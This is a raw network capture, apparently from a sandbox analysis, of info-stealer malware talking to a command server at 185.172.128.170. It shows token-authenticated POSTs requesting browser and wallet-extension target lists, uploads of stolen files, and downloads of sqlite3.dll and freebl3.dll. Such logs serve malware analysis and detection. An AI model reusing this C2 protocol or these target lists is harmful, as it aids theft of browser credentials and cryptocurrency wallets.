May 24, 2024 13:42:25.696796894 CEST	470	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.172.128.170 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"browsers------HIIDGCGCBFBAKFHIJDBA--
May 24, 2024 13:42:25.985723972 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
May 24, 2024 13:42:25.986989975 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
May 24, 2024 13:42:25.992603064 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
May 24, 2024 13:42:26.303809881 CEST	469	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJE Host: 185.172.128.170 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"plugins------HJKJKKKJJJKJKFHJJJJE--
May 24, 2024 13:42:26.493971109 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
May 24, 2024 13:42:26.494054079 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
May 24, 2024 13:42:26.494240046 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
May 24, 2024 13:42:26.494477034 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
May 24, 2024 13:42:26.494498968 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
May 24, 2024 13:42:26.499568939 CEST	476	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
May 24, 2024 13:42:28.247308016 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 185.172.128.170 Content-Length: 7791 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:28.247308016 CEST	7791	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
May 24, 2024 13:42:28.468835115 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:31.431557894 CEST	94	OUT	GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:31.622597933 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
May 24, 2024 13:42:31.622884989 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
May 24, 2024 13:42:31.623030901 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
May 24, 2024 13:42:33.913587093 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.172.128.170 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:34.132843018 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:34.839505911 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.170 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:35.197582960 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:35.376826048 CEST	561	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.172.128.170 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 [TRUNCATED] Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file"------HIIDGCGCBFBAKFHIJDBA--
May 24, 2024 13:42:35.609067917 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:37.927712917 CEST	561	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 185.172.128.170 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 [TRUNCATED] Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="file"------EBGCGHIDHCBFHIDGHCBK--
May 24, 2024 13:42:38.287307024 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:40.597812891 CEST	94	OUT	GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:40.787600994 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 